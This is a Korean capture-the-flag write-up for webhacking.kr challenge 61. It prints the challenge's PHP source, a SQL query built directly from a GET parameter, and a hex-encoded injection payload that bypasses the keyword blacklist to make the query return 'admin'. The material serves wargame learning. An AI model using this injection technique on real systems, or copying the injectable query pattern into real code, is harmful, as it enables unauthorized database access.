webhacking.kr 61번문제

Xero
박준혁 (한양대학교 신소재공학부 2학년 군휴학 중)
2016-04-04
Email : wnsgurzxc@naver.com
Facebook : https://www.facebook.com/wnsgurzxc

다음과 같이 index_lolll.phps를 가리키는 하이퍼링크가 하나 있다.

source

index_lolll.phps의 소스는 다음과 같다.

```
<?
echo("<a href=index_lolll.phps>source</a>");
if(!$_GET[id]) $_GET[id]="guest";
echo("<html><head><title>Challenge 61</title></head><body>");
if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");
if(strlen($_GET[id])>18) exit("Access Denied");
$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));
echo("<b>$q[id]</b><br>");
if($q[id]=="admin") @clear();
echo("</body></html>");
?>
```

GET[id]에 id를 보내면 다음과 같이 zombie가 출력된다.

?id=id

sourcezombie

admin을 출력해야 하니 다음과 같이 보내면 될 것이다.

?id=admin as id

char와 (,)등을 필터링해서 hex를 이용하였다.

```
>>> import binascii
>>> binascii.hexlify(b'admin')
b'61646d696e'
```

다음과 같이 보내면 클리어된다.

?id=0x61646d696e%20id

You have cleared the 61 problems.

Score + 200